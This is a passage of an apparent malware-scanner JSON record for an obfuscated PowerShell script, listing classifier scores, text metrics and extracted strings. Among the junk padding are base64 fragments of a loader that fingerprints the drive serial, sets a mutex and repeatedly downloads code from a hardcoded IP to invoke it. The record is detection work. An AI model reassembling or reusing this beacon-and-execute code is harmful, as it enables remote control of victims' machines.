{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 1.0, "class": 2 } ], "prob": 1.0, "class": 2, "models": [ { "m": "az", "prob": 0.6687533, "class": 0 }, { "m": "az/scripts", "prob": 0.65909094, "class": 0 }, { "m": "az/powershell", "prob": 1.0, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961373, 0.9998425 ], "analyzed_at": "2026-05-17T09:17:30Z" }, "path": "5bba8e7b6f31b3bdd2db9562b327e5e464867aeb436c268957ecee9690db181d.ps1", "raw": { "v": "4", "fs": [ { "f": "O₂(As₃Xe)", "k": { "source.strings[0]": "130PywpizTrtgLu34PywpizTrtgLu927PywpizTrtgLu334PywpizTrtgLu862PywpizTrtgLu886PywpizTrtgLu1PywpizTrtgLu822PywpizTrtgLu935PywpizTrtgLu945", "source.strings[1]": "133ARksx899ARksx409ARksx525ARksx887ARksx529ARksx866ARksx568ARksx29ARksx970", "source.strings[2]": "17kGfBn410kGfBn418kGfBn217kGfBn364kGfBn163kGfBn309kGfBn624kGfBn22kGfBn362", "source.strings[3]": "183ZBoyQpeKi329ZBoyQpeKi592ZBoyQpeKi353ZBoyQpeKi409ZBoyQpeKi26ZBoyQpeKi571ZBoyQpeKi340ZBoyQpeKi469ZBoyQpeKi417", "source.strings[4]": "211ldr375ldr846ldr91ldr14ldr856ldr836ldr687ldr335ldr878", "source.strings[5]": "231uDxnay13uDxnay991uDxnay865uDxnay932uDxnay961uDxnay445uDxnay690uDxnay775uDxnay736", "source.strings[6]": "23EH294EH545EH21EH182EH361EH808EH885EH20EH635", "source.strings[7]": "23QW664QW474QW16QW713QW879QW432QW510QW684QW52", "source.strings[8]": "24MQWUdJmtic466MQWUdJmtic410MQWUdJmtic428MQWUdJmtic814MQWUdJmtic339MQWUdJmtic9MQWUdJmtic943MQWUdJmtic743MQWUdJmtic960", "source.strings[9]": "262jemEaFhQSzToYP238jemEaFhQSzToYP393jemEaFhQSzToYP258jemEaFhQSzToYP11jemEaFhQSzToYP699jemEaFhQSzToYP261jemEaFhQSzToYP145jemEaFhQSzToYP52jemEaFhQSzToYP908", "source.strings[10]": "31kXczPQETKxdbw512kXczPQETKxdbw993kXczPQETKxdbw661kXczPQETKxdbw502kXczPQETKxdbw93kXczPQETKxdbw199kXczPQETKxdbw664kXczPQETKxdbw15kXczPQETKxdbw183", "source.strings[11]": "339vnCT468vnCT56vnCT410vnCT318vnCT686vnCT166vnCT254vnCT335vnCT38", "source.strings[12]": "348sDSTBFYhoKc5sDSTBFYhoKc630sDSTBFYhoKc966sDSTBFYhoKc384sDSTBFYhoKc927sDSTBFYhoKc471sDSTBFYhoKc744sDSTBFYhoKc732sDSTBFYhoKc822", "source.strings[13]": "34VvhaDOYI544VvhaDOYI764VvhaDOYI518VvhaDOYI73VvhaDOYI503VvhaDOYI818VvhaDOYI265VvhaDOYI844VvhaDOYI883", "source.strings[14]": "384gtfpHL390gtfpHL523gtfpHL24gtfpHL602gtfpHL503gtfpHL181gtfpHL277gtfpHL780gtfpHL612", "source.strings[15]": "385RgsclXrF646RgsclXrF4RgsclXrF976RgsclXrF1RgsclXrF729RgsclXrF546RgsclXrF48RgsclXrF678RgsclXrF172", "source.strings[16]": "38WQDpKdIMXCf586WQDpKdIMXCf501WQDpKdIMXCf53WQDpKdIMXCf321WQDpKdIMXCf229WQDpKdIMXCf363WQDpKdIMXCf628WQDpKdIMXCf618WQDpKdIMXCf431", "source.strings[17]": "407mgAHrNI176mgAHrNI88mgAHrNI833mgAHrNI379mgAHrNI255mgAHrNI492mgAHrNI913mgAHrNI2mgAHrNI2", "source.strings[18]": "409iXQWPKT731iXQWPKT946iXQWPKT854iXQWPKT55iXQWPKT305iXQWPKT986iXQWPKT653iXQWPKT63iXQWPKT75", "source.strings[19]": "439hVfJx39hVfJx985hVfJx742hVfJx899hVfJx601hVfJx414hVfJx133hVfJx451hVfJx433", "source.strings[20]": "457AmD87AmD206AmD613AmD6AmD772AmD586AmD55AmD592AmD509", "source.strings[21]": "474AynfRZP376AynfRZP528AynfRZP406AynfRZP61AynfRZP46AynfRZP602AynfRZP708AynfRZP83AynfRZP821", "source.strings[22]": "507Hln42Hln74Hln208Hln866Hln85Hln577Hln937Hln1000Hln352", "source.strings[23]": "525MPSq608MPSq289MPSq893MPSq566MPSq139MPSq498MPSq42MPSq703MPSq860", "source.strings[24]": "53iZSLJQNuy290iZSLJQNuy971iZSLJQNuy701iZSLJQNuy307iZSLJQNuy828iZSLJQNuy34iZSLJQNuy664iZSLJQNuy120iZSLJQNuy229", "source.strings[25]": "541iNpPxwZRKC997iNpPxwZRKC561iNpPxwZRKC445iNpPxwZRKC735iNpPxwZRKC69iNpPxwZRKC958iNpPxwZRKC456iNpPxwZRKC828iNpPxwZRKC407", "source.strings[26]": "565NqXEToRw640NqXEToRw721NqXEToRw388NqXEToRw262NqXEToRw674NqXEToRw36NqXEToRw726NqXEToRw254NqXEToRw330", "source.strings[27]": "579AmnNWMwZv212AmnNWMwZv412AmnNWMwZv10AmnNWMwZv532AmnNWMwZv427AmnNWMwZv708AmnNWMwZv698AmnNWMwZv984AmnNWMwZv716", "source.strings[28]": "581YyxmkZraRgQF2YyxmkZraRgQF276YyxmkZraRgQF496YyxmkZraRgQF355YyxmkZraRgQF248YyxmkZraRgQF4YyxmkZraRgQF449YyxmkZraRgQF566YyxmkZraRgQF754", "source.strings[29]": "58IazgWhLHOAqbv778IazgWhLHOAqbv749IazgWhLHOAqbv366IazgWhLHOAqbv142IazgWhLHOAqbv112IazgWhLHOAqbv105IazgWhLHOAqbv161IazgWhLHOAqbv113IazgWhLHOAqbv342", "source.strings[30]": "661CTYQiB177CTYQiB40CTYQiB447CTYQiB746CTYQiB77CTYQiB140CTYQiB421CTYQiB508CTYQiB617", "source.strings[31]": "672dLyvDSMJkbcanz827dLyvDSMJkbcanz296dLyvDSMJkbcanz61dLyvDSMJkbcanz976dLyvDSMJkbcanz79dLyvDSMJkbcanz485dLyvDSMJkbcanz77dLyvDSMJkbcanz178dLyvDSMJkbcanz95", "source.strings[32]": "678OTRuLd263OTRuLd430OTRuLd880OTRuLd901OTRuLd544OTRuLd201OTRuLd356OTRuLd15OTRuLd968", "source.strings[33]": "686oLsA638oLsA402oLsA75oLsA100oLsA646oLsA811oLsA272oLsA337oLsA158", "source.strings[34]": "6FgmqartTDN208FgmqartTDN488FgmqartTDN221FgmqartTDN849FgmqartTDN840FgmqartTDN668FgmqartTDN285FgmqartTDN673FgmqartTDN357", "source.strings[35]": "703yLhfzaBgVCenI100yLhfzaBgVCenI338yLhfzaBgVCenI844yLhfzaBgVCenI711yLhfzaBgVCenI549yLhfzaBgVCenI607yLhfzaBgVCenI372yLhfzaBgVCenI858yLhfzaBgVCenI24", "source.strings[36]": "753KFpuRJtwZvPz426KFpuRJtwZvPz397KFpuRJtwZvPz396KFpuRJtwZvPz694KFpuRJtwZvPz764KFpuRJtwZvPz112KFpuRJtwZvPz7KFpuRJtwZvPz587KFpuRJtwZvPz458", "source.strings[37]": "753Yzk16Yzk360Yzk162Yzk656Yzk810Yzk71Yzk708Yzk28Yzk476", "source.strings[38]": "814qQwGSsP81qQwGSsP49qQwGSsP89qQwGSsP57qQwGSsP755qQwGSsP900qQwGSsP157qQwGSsP238qQwGSsP528", "source.strings[39]": "860PpCy685PpCy402PpCy138PpCy943PpCy253PpCy754PpCy28PpCy361PpCy69", "source.strings[40]": "911KdzXweChUoVac922KdzXweChUoVac594KdzXweChUoVac117KdzXweChUoVac684KdzXweChUoVac422KdzXweChUoVac777KdzXweChUoVac191KdzXweChUoVac515KdzXweChUoVac76", "source.strings[41]": "912xBnvkrsladHeR527xBnvkrsladHeR35xBnvkrsladHeR917xBnvkrsladHeR703xBnvkrsladHeR732xBnvkrsladHeR9xBnvkrsladHeR302xBnvkrsladHeR580xBnvkrsladHeR767", "source.strings[42]": "920SaJ303SaJ230SaJ59SaJ459SaJ608SaJ420SaJ656SaJ163SaJ902", "source.strings[43]": "949yvY146yvY197yvY534yvY726yvY806yvY8yvY559yvY583yvY903", "source.strings[44]": "969vZwgzYAjiNL116vZwgzYAjiNL62vZwgzYAjiNL208vZwgzYAjiNL315vZwgzYAjiNL40vZwgzYAjiNL504vZwgzYAjiNL913vZwgzYAjiNL566vZwgzYAjiNL929", "source.strings[45]": "9zmM982zmM556zmM490zmM646zmM938zmM132zmM134zmM702zmM313", "source.strings[46]": "AmnNWMwZv", "source.strings[47]": "AmsylgbGqpIue", "source.strings[48]": "AynfRZP", "source.strings[49]": "BKqxZTeByqGIOMzpByqGIOyePjwWOFdByqGIOobzBRZByqGIOfkIzwTRByqGIOVTGmJByqGIOesHwQNByqGIOPOMnhwByqGIOIJNbByqGIOVa", "source.strings[50]": "BpAIUTVenorTkbvpEyCcmVenorTkbvpEyCcAGWRFDwvTVenorTkbvpEyCcZxfMVenorTkbvpEyCcQKwEqbSVVenorTkbvpEyCcqJtgzRjrVenorTkbvpEyCcdNGVYKuVenorTkbvpEyCczxrQaVenorTkbvpEyCcesBqXWIVenorTkbvpEyCcyRk", "source.strings[51]": "ByqGIO", "source.strings[52]": "CTYQiB", "source.strings[53]": "CuhNzYaDISzbTCaKWjSzbTCaymxwFPJhNSzbTCaXvKMsZPFbSzbTCabiDsQntfYSzbTCaWsaSBmKHvSzbTCaKQSzbTCaXSzYGTZoiSzbTCaYutOwNmvPSzbTCal", "source.strings[54]": "DNPxTxnReyvTdpTBxnReyvTdCGmHDizcxnReyvTdxRNACyTbLxnReyvTdvZrlekxnReyvTdriomCxnReyvTdwexnReyvTdEAtSwLHlxnReyvTdaixnReyvTddyCvkBMh", "source.strings[55]": "FgmqartTDN", "source.strings[56]": "FvlQNLyExJDdo", "source.strings[57]": "GBRoItChHadagXpzNsMhHaAhHakZxYMhHavsoqVWhHaxlXVDRthHazTAnvsbithHaXrHJkjhHaySxhHaNx", "source.strings[58]": "GV4LkRp", "source.strings[59]": "GqRJTYqRdQitCLhmVMhcBXxQlqRdQitCLhmpGlbvqRdQitCLhmJpYVAqRdQitCLhmQdtyhLcqRdQitCLhmCXgvnuqRdQitCLhmtLaihcBXqRdQitCLhmgqRdQitCLhmNEIfdxqRdQitCLhmIyAa", "source.strings[60]": "HavCZkxLRXhwcmVzc2lvbiAkcmCZkxLNDOCZkxLslpiCZkxLRTzkLWtQdCZkxLnFyxtCZkxLefjKBCZkxLijCZkxLrsJiUCZkxLimCpzQ", "source.strings[61]": "IKRzNpbAmsylgbGqpIueQHlDSwAmsylgbGqpIuevAAmsylgbGqpIueFEAmsylgbGqpIueLeVqyfAmsylgbGqpIueuLRaAJElOAmsylgbGqpIueeAmsylgbGqpIueMGxCHBADAmsylgbGqpIueAUdClXAmsylgbGqpIueHfvOnQtu", "source.strings[62]": "IazgWhLHOAqbv", "source.strings[63]": "IcFjtQKsxJTZjxIjtQKsxJTZnEtIgfSPjtQKsxJTZzgUakjPjtQKsxJTZUebjtQKsxJTZAfLjtQKsxJTZajtQKsxJTZXZOPxQVywjtQKsxJTZeXbCyLHkajtQKsxJTZxAiHt", "source.strings[64]": "JGZzbyA9IE5ldy1PYmplY3QgLUNvbSAiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QiDQokU2VyaWFsTnVtYmVyID0gJGZzby5HZXREcml2ZSgiYzpcIikuU2VyaWFsTnVtYmVyDQokU2VyaWFsTnVtYmVyID0gInswOlh9IiAtZiAkU2VyaWFsTnVtYmVyDQo", "source.strings[65]": "JnzjfgMudIikqDWUXNpyzjfgMudIikqDWDItLTQBzjfgMudIikqDWCpkWLZzjfgMudIikqDWjhveQzjfgMudIikqDWczjfgMudIikqDWyozjfgMudIikqDWXcgsACkfzjfgMudIikqDWOjYyDhmzjfgMudIikqDWIL", "source.strings[66]": "KFpuRJtwZvPz", "source.strings[67]": "KICAgICAgICBjb250aW51ZQ0KICAgIH0NCiAgICBJbnZva2Ut", "source.strings[68]": "KYdUaJBRPtDJqUaJBRPtDorQUaJBRPtDFxMUaJBRPtDsaVSUaJBRPtDtCqmTReIgUaJBRPtDsnOQcUaJBRPtDMqcWrbUaJBRPtDnvUaJBRPtDPcYQG", "source.strings[69]": "KdzXweChUoVac", "source.strings[70]": "MQWUdJmtic", "source.strings[71]": "NqXEToRw", "source.strings[72]": "OTRuLd", "source.strings[73]": "PixmjMwWPLpCbvRNglTPLpLprzUPLpinPLpmwrFzfUGPLpxEZILHPLpTKYLEjohcPLplPLpLrPVPLpCtolGug", "source.strings[74]": "PywpizTrtgLu", "source.strings[75]": "QifMvkmcqrSHatmPTncqzkMslcqwRshPVFcqpSibQIAwhcqNoncqfdUqgSVcqHOIgYcqEqtiRUcqXzcvuAVyL", "source.strings[76]": "RgsclXrF", "source.strings[77]": "RqDZYFxPTHJM", "source.strings[78]": "System.Man", "source.strings[79]": "SzbTCa", "source.strings[80]": "TuFlpqSHtbzGTYtSuMnlpqSHtbzGTQdAFqlpqSHtbzGTTalpqSHtbzGTcVUYeJQWlpqSHtbzGTystem.TextlpqSHtbzGTvBlWlpqSHtbzGTqdFZESclpqSHtbzGTPEIsVFBlpqSHtbzGTBpA", "source.strings[81]": "UaJBRPtD", "source.strings[82]": "VNdXRleCgpOw0KJG1", "source.strings[83]": "VQGIuRqDZYFxPTHJMNiCZRqDZYFxPTHJMhDJXlRqDZYFxPTHJMIAjZBRqDZYFxPTHJMGcbKAmRqDZYFxPTHJMFhRqDZYFxPTHJMHrUmRzyGVRqDZYFxPTHJMIRqDZYFxPTHJMclRqDZYFxPTHJMnUelM", "source.strings[84]": "VenorTkbvpEyCc", "source.strings[85]": "VvhaDOYI", "source.strings[86]": "VzdWx0DQogICAgU3RhcnQtU2xlZXAgLXMgNQ0KfQ0KJG11dG", "source.strings[87]": "WQDpKdIMXCf", "source.strings[88]": "XgjrdGagrdirrdjxVICrdHBirdRVfiHMZBrdfowaLrdaELgQXrdXVvofRqdrd,St", "source.strings[89]": "XmJnUzvlFoYpBJzuSbzvlFoYpBPaXCcAUjZzvlFoYpBezLWuzvlFoYpBjNLzvlFoYpBrdmzvlFoYpBpezvlFoYpByJnzvlFoYpBldZwOjzvlFoYpBCmnOi", "source.strings[90]": "Xzmalj", "source.strings[91]": "YyxmkZraRgQF", "source.strings[92]": "ZBoyQpeKi", "source.strings[93]": "aAxyAJPYJLtyAJPYYZyAJPYuyAJPYxiPlbfyAJPYzlyAJPYMCuWyAJPYMoDCtBLAbyAJPYXTBYyAJPYykqHENhfV", "source.strings[94]": "agement.Au", "source.strings[95]": "c3BvcvcrTiKkpOjGsvUuvcrTiKkuRlzEGfjvcrTiKkGvbewvcrTiKkZpTVKUODvcrTiKkDrVvcrTiKkwlRINmhvcrTiKkKzvcrTiKkHxwZJvcrTiKkwxCKS", "source.strings[96]": "dLyvDSMJkbcanz", "source.strings[97]": "evWIHEXzmaljREsixXzmaljLdcoXzmaljbSqIXzmalj.EncodingXzmaljhiAORPTXzmaljsFuxPCXzmaljPKVrXzmaljtodXzmaljMamQsDnc", "source.strings[98]": "gbCeDkHUtVigrDkV4LlJlbGVhc2DkyHnzvDkFTvoaDnxDkFGDkDtVDkZgSDkHjZwziDkEhO", "source.strings[99]": "gtfpHL", "source.strings[100]": "gxLjE3NC4xNjQuMTYxLycNCiR1cmwgPSAkaXArJHNlcmlhbA0KJHMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50DQp3aGlsZSAoJHRydWUpIHsNCiAgICB0cnkgew0KICAgICAgICAkcmVzdWx0PSR", "source.strings[101]": "iNpPxwZRKC", "source.strings[102]": "iXQWPKT", "source.strings[103]": "iZSLJQNuy", "source.strings[104]": "jYrRnOFvlQNLyExJDdovcVyPsmOFvlQNLyExJDdoybJVqXYuFvlQNLyExJDdooLZFvlQNLyExJDdolseFvlQNLyExJDdoUjwpNmefXFvlQNLyExJDdokiDvFvlQNLyExJDdohcnQtU2xlZXAgLXMgNQ0FvlQNLyExJDdoyxTgPhVeFvlQNLyExJDdoMIKPJD", "source.strings[105]": "jemEaFhQSzToYP", "source.strings[106]": "jtQKsxJTZ", "source.strings[107]": "kU2VyaWFsTnVtYmVyID0gW2NvbnZlcnRdOjp0b2ludDY0KCRTZXJpYWxOdW1iZXIsMTYpDQokc2VyaWFsID0gJFNlcmlhbE51bWJlcg0KJG11dGV4ID0gTmV3LU9iamVjdCBTeXN0ZW0uVGhyZWFkaW5nLk11dGV4KCRmYWxzZSwgJHNlcmlhbCk7DQokbXV0ZXhGcmVlID0gJG11dGV4LldhaXRPbmUoMSkNCmlmICghJG11dGV4R", "source.strings[108]": "kXczPQETKxdbw", "source.strings[109]": "lpqSHtbzGT", "source.strings[110]": "mgAHrNI", "source.strings[111]": "nJlZSkgeyBFeGl0IH0NCiRpcCA9ICdodHRwOi8vMT", "source.strings[112]": "nLVHjrWBJD", "source.strings[113]": "nvVASIMDlncuSTzmvVASIMDlncxRqKJvVASIMDlncTuaynvVASIMDlncImXxGOwvVASIMDlncXlvVASIMDlnctfjlnwmdKvVASIMDlnckLWfvVASIMDlncxFsrlvVASIMDlnckMrqyTAtL", "source.strings[114]": "omatio", "source.strings[115]": "oyRZtzxCIYSDQq", "source.strings[116]": "qQwGSsP", "source.strings[117]": "qRdQitCLhm", "source.strings[118]": "rboQZAqNtroQZAqooQZAqxpGVILTCoQZAqcutNHoQZAqCxNZlvDoQZAqcCEhvMlWaoQZAqfSZirsaoQZAqPLdoIoQZAqmstJiV", "source.strings[119]": "sDSTBFYhoKc", "source.strings[120]": "sQrPynTutQQrPynlXvQrPynOWUYoBEazQrPynAxlyqLKDgQrPynvukQrPynnOEwXMQrPyncvZdQrPynPmZiMlQrPynnJICGaVDN", "source.strings[121]": "snLVHjrWBJDlwazTfqnLVHjrWBJDGjRiSWUtnLVHjrWBJDdmJHtanLVHjrWBJDquynLVHjrWBJDrwJnLVHjrWBJDgFnLVHjrWBJDunflkGcnLVHjrWBJDaOZhlEnLVHjrWBJDrjcdODse", "source.strings[122]": "uDxnay", "source.strings[123]": "vVASIMDlnc", "source.strings[124]": "vZwgzYAjiNL", "source.strings[125]": "vcrTiKk", "source.strings[126]": "wyToyRZtzxCIYSDQqWPyoyRZtzxCIYSDQqWIloyRZtzxCIYSDQqinoyRZtzxCIYSDQqbvrwdoyRZtzxCIYSDQqxNRHIoyRZtzxCIYSDQqAEoyRZtzxCIYSDQqMVBaoyRZtzxCIYSDQqtDkULoyRZtzxCIYSDQqHecJnwI", "source.strings[127]": "xBnvkrsladHeR", "source.strings[128]": "xnReyvTd", "source.strings[129]": "yLhfzaBgVCenI", "source.strings[130]": "zLkRvd25sb2FkU3RyaW5nKCR1cmwpDQogICAgfQ0KICAgIGNhdGNoIHsNCiAgICAgICAgU3R", "source.strings[131]": "zjfgMudIikqDW", "source.strings[132]": "zvlFoYpB" }, "x": 35, "id": 0, "ms": { "file": { "size": 16125.0 }, "text": { "digit_ratio": 0.13, "space_count": 170.0, "total_lines": 11.0, "char_entropy": 6.12, "unique_chars": 81.0, "lines_over_200": 5.0, "lines_over_500": 5.0, "string_density": 42.91, "avg_line_length": 1464.82, "lines_over_1000": 5.0, "max_line_length": 3914.0, "empty_line_ratio": 0.55, "last_line_length": 3506.0, "long_token_count": 75.0, "most_common_char": "s", "whitespace_ratio": 0.01, "most_common_ratio": 0.03, "line_length_stddev": 1637.12, "encoded_string_ratio": 0.08, "normalized_string_count": 142.31, "suspicious_string_ratio": 0.0, "max_inline_whitespace_run": 1.0, "trailing_whitespace_lines": 2.0 }, "strings": { "total": 472.0, "avg_length": 39.47, "max_length": 246.0, "avg_entropy": 2.48, "total_bytes": 18630.0, "entropy_stddev": 1.68, "base64_candidates": 36.0, "high_entropy_count": 6.0, "embedded_code_candidates": 2.0 }, "comments": {}, "functions": {}, "identifiers": {} }, "ss": [ [ 23, "i" ], [ 23, "i" ], [ 27, "r" ], [ 27, "r" ], [ 31, "nvo" ], [ 31, "nvo" ], [ 40, "Ge" ], [ 40, "Ge" ], [ 48, "S" ], [ 48, "S" ], [ 66, "vo" ], [ 66, "vo" ], [ 83, "DNPxTxnReyvTdpTBxnReyvTdCGmHDizcxnReyvTdxRNACyTbLxnReyvTdvZrlekxnReyvTdriomCxnReyvTdwexnReyvTdEAtSwLHlxnReyvTdaixnReyvTddyCvkBMh" ], [ 83, "DNPxTxnReyvTdpTBxnReyvTdCGmHDizcxnReyvTdxRNACyTbLxnReyvTdvZrlekxnReyvTdriomCxnReyvTdwexnReyvTdEAtSwLHlxnReyvTdaixnReyvTddyCvkBMh" ], [ 221, "xnReyvTd" ], [ 221, "xnReyvTd" ], [ 241, "KICAgICAgICBjb250aW51ZQ0KICAgIH0NCiAgICBJbnZva2Ut" ], [ 241, "KICAgICAgICBjb250aW51ZQ0KICAgIH0NCiAgICBJbnZva2Ut" ], [ 299, "Bas" ], [ 299, "Bas" ], [ 305, "s" ], [ 305, "s" ], [ 309, "1d" ], [ 309, "1d" ], [ 317, "Publ" ], [ 317, "Publ" ], [ 327, "e" ], [ 327, "e" ], [ 331, "e" ], [ 331, "e" ], [ 335, "8" ], [ 335, "8" ], [ 348, "omatio" ], [ 348, "omatio" ], [ 357, "m" ], [ 357, "m" ], [ 373, "KYdUaJBRPtDJqUaJBRPtDorQUaJBRPtDFxMUaJBRPtDsaVSUaJBRPtDtCqmTReIgUaJBRPtDsnOQcUaJBRPtDMqcWrbUaJBRPtDnvUaJBRPtDPcYQG" ], [ 373, "KYdUaJBRPtDJqUaJBRPtDorQUaJBRPtDFxMUaJBRPtDsaVSUaJBRPtDtCqmTReIgUaJBRPtDsnOQcUaJBRPtDMqcWrbUaJBRPtDnvUaJBRPtDPcYQG" ], [ 497, "UaJBRPtD" ], [ 497, "UaJBRPtD" ], [ 526, "rboQZAqNtroQZAqooQZAqxpGVILTCoQZAqcutNHoQZAqCxNZlvDoQZAqcCEhvMlWaoQZAqfSZirsaoQZAqPLdoIoQZAqmstJiV" ], [ 526, "rboQZAqNtroQZAqooQZAqxpGVILTCoQZAqcutNHoQZAqCxNZlvDoQZAqcCEhvMlWaoQZAqfSZirsaoQZAqPLdoIoQZAqmstJiV" ], [ 634, "oQZAq" ], [ 634, "oQZAq" ], [ 650, "407mgAHrNI176mgAHrNI88mgAHrNI833mgAHrNI379mgAHrNI255mgAHrNI492mgAHrNI913mgAHrNI2mgAHrNI2" ], [ 650, "407mgAHrNI176mgAHrNI88mgAHrNI833mgAHrNI379mgAHrNI255mgAHrNI492mgAHrNI913mgAHrNI2mgAHrNI2" ], [ 748, "mgAHrNI" ], [ 748, "mgAHrNI" ], [ 782, "133ARksx899ARksx409ARksx525ARksx887ARksx529ARksx866ARksx568ARksx29ARksx970" ], [ 782, "133ARksx899ARksx409ARksx525ARksx887ARksx529ARksx866ARksx568ARksx29ARksx970" ], [ 866, "ARksx" ], [ 866, "ARksx" ], [ 879, "d" ], [ 879, "d" ], [ 892, "onv" ], [ 892, "onv" ], [ 910, "nvVASIMDlncuSTzmvVASIMDlncxRqKJvVASIMDlncTuaynvVASIMDlncImXxGOwvVASIMDlncXlvVASIMDlnctfjlnwmdKvVASIMDlnckLWfvVASIMDlncxFsrlvVASI" ], [ 910, "nvVASIMDlncuSTzmvVASIMDlncxRqKJvVASIMDlncTuaynvVASIMDlncImXxGOwvVASIMDlncXlvVASIMDlnctfjlnwmdKvVASIMDlnckLWfvVASIMDlncxFsrlvVASI" ], [ 1062, "vVASIMDlnc" ], [ 1062, "vVASIMDlnc" ], [ 1081, "nitF" ], [ 1081, "nitF" ], [ 1103, "sQrPynTutQQrPynlXvQrPynOWUYoBEazQrPynAxlyqLKDgQrPynvukQrPynnOEwXMQrPyncvZdQrPynPmZiMlQrPynnJICGaVDN" ], [ 1103, "sQrPynTutQQrPynlXvQrPynOWUYoBEazQrPynAxlyqLKDgQrPynvukQrPynnOEwXMQrPyncvZdQrPynPmZiMlQrPynnJICGaVDN" ], [ 1212, "QrPyn" ], [ 1212, "QrPyn" ], [ 1253, "348sDSTBFYhoKc5sDSTBFYhoKc630sDSTBFYhoKc966sDSTBFYhoKc384sDSTBFYhoKc927sDSTBFYhoKc471sDSTBFYhoKc744sDSTBFYhoKc732sDSTBFYhoKc822" ], [ 1253, "348sDSTBFYhoKc5sDSTBFYhoKc630sDSTBFYhoKc966sDSTBFYhoKc384sDSTBFYhoKc927sDSTBFYhoKc471sDSTBFYhoKc744sDSTBFYhoKc732sDSTBFYhoKc822" ], [ 1390, "sDSTBFYhoKc" ], [ 1390, "sDSTBFYhoKc" ], [ 1421, "GBRoItChHadagXpzNsMhHaAhHakZxYMhHavsoqVWhHaxlXVDRthHazTAnvsbithHaXrHJkjhHaySxhHaNx" ], [ 1421, "GBRoItChHadagXpzNsMhHaAhHakZxYMhHavsoqVWhHaxlXVDRthHazTAnvsbithHaXrHJkjhHaySxhHaNx" ], [ 1513, "hHa" ], [ 1513, "hHa" ], [ 1525, "From" ], [ 1525, "From" ], [ 1532, "C" ], [ 1532, "C" ], [ 1551, "GqRJTYqRdQitCLhmVMhcBXxQlqRdQitCLhmpGlbvqRdQitCLhmJpYVAqRdQitCLhmQdtyhLcqRdQitCLhmCXgvnuqRdQitCLhmtLaihcBXqRdQitCLhmgqRdQitCLhmN" ], [ 1551, "GqRJTYqRdQitCLhmVMhcBXxQlqRdQitCLhmpGlbvqRdQitCLhmJpYVAqRdQitCLhmQdtyhLcqRdQitCLhmCXgvnuqRdQitCLhmtLaihcBXqRdQitCLhmgqRdQitCLhmN" ], [ 1708, "qRdQitCLhm" ], [ 1708, "qRdQitCLhm" ], [ 1745, "9zmM982zmM556zmM490zmM646zmM938zmM132zmM134zmM702zmM313" ], [ 1745, "9zmM982zmM556zmM490zmM646zmM938zmM132zmM134zmM702zmM313" ], [ 1810, "zmM" ], [ 1810, "zmM" ], [ 1836, "evWIHEXzmaljREsixXzmaljLdcoXzmaljbSqIXzmalj.EncodingXzmaljhiAORPTXzmaljsFuxPCXzmaljPKVrXzmaljtodXzmaljMamQsDnc" ], [ 1836, "evWIHEXzmaljREsixXzmaljLdcoXzmaljbSqIXzmalj.EncodingXzmaljhiAORPTXzmaljsFuxPCXzmaljPKVrXzmaljtodXzmaljMamQsDnc" ], [ 1956, "Xzmalj" ], [ 1956, "Xzmalj" ], [ 1974, "i" ], [ 1974, "i" ], [ 1999, "PixmjMwWPLpCbvRNglTPLpLprzUPLpinPLpmwrFzfUGPLpxEZILHPLpTKYLEjohcPLplPLpLrPVPLpCtolGug" ], [ 1999, "PixmjMwWPLpCbvRNglTPLpLprzUPLpinPLpmwrFzfUGPLpxEZILHPLpTKYLEjohcPLplPLpLrPVPLpCtolGug" ], [ 2094, "PLp" ], [ 2094, "PLp" ], [ 2112, "n" ], [ 2112, "n" ], [ 2119, "e" ], [ 2119, "e" ], [ 2135, "HavCZkxLRXhwcmVzc2lvbiAkcmCZkxLNDOCZkxLslpiCZkxLRTzkLWtQdCZkxLnFyxtCZkxLefjKBCZkxLijCZkxLrsJiUCZkxLimCpzQ" ], [ 2135, "HavCZkxLRXhwcmVzc2lvbiAkcmCZkxLNDOCZkxLslpiCZkxLRTzkLWtQdCZkxLnFyxtCZkxLefjKBCZkxLijCZkxLrsJiUCZkxLimCpzQ" ], [ 2250, "CZkxL" ], [ 2250, "CZkxL" ], [ 2266, "130PywpizTrtgLu34PywpizTrtgLu927PywpizTrtgLu334PywpizTrtgLu862PywpizTrtgLu886PywpizTrtgLu1PywpizTrtgLu822PywpizTrtgLu935PywpizTr" ], [ 2266, "130PywpizTrtgLu34PywpizTrtgLu927PywpizTrtgLu334PywpizTrtgLu862PywpizTrtgLu886PywpizTrtgLu1PywpizTrtgLu822PywpizTrtgLu935PywpizTr" ], [ 2411, "PywpizTrtgLu" ], [ 2411, "PywpizTrtgLu" ], [ 2447, "678OTRuLd263OTRuLd430OTRuLd880OTRuLd901OTRuLd544OTRuLd201OTRuLd356OTRuLd15OTRuLd968" ], [ 2447, "678OTRuLd263OTRuLd430OTRuLd880OTRuLd901OTRuLd544OTRuLd201OTRuLd356OTRuLd15OTRuLd968" ], [ 2540, "OTRuLd" ], [ 2540, "OTRuLd" ], [ 2560, "In" ], [ 2560, "In" ], [ 2647, "BpAIUTVenorTkbvpEyCcmVenorTkbvpEyCcAGWRFDwvTVenorTkbvpEyCcZxfMVenorTkbvpEyCcQKwEqbSVVenorTkbvpEyCcqJtgzRjrVenorTkbvpEyCcdNGVYKuV" ], [ 2647, "BpAIUTVenorTkbvpEyCcmVenorTkbvpEyCcAGWRFDwvTVenorTkbvpEyCcZxfMVenorTkbvpEyCcQKwEqbSVVenorTkbvpEyCcqJtgzRjrVenorTkbvpEyCcdNGVYKuV" ], [ 2841, "VenorTkbvpEyCc" ], [ 2841, "VenorTkbvpEyCc" ], [ 2888, "262jemEaFhQSzToYP238jemEaFhQSzToYP393jemEaFhQSzToYP258jemEaFhQSzToYP11jemEaFhQSzToYP699jemEaFhQSzToYP261jemEaFhQSzToYP145jemEaFh" ], [ 2888, "262jemEaFhQSzToYP238jemEaFhQSzToYP393jemEaFhQSzToYP258jemEaFhQSzToYP11jemEaFhQSzToYP699jemEaFhQSzToYP261jemEaFhQSzToYP145jemEaFh" ], [ 3052, "jemEaFhQSzToYP" ], [ 3052, "jemEaFhQSzToYP" ], [ 3081, "i" ], [ 3081, "i" ], [ 3151, "183ZBoyQpeKi329ZBoyQpeKi592ZBoyQpeKi353ZBoyQpeKi409ZBoyQpeKi26ZBoyQpeKi571ZBoyQpeKi340ZBoyQpeKi469ZBoyQpeKi417" ], [ 3151, 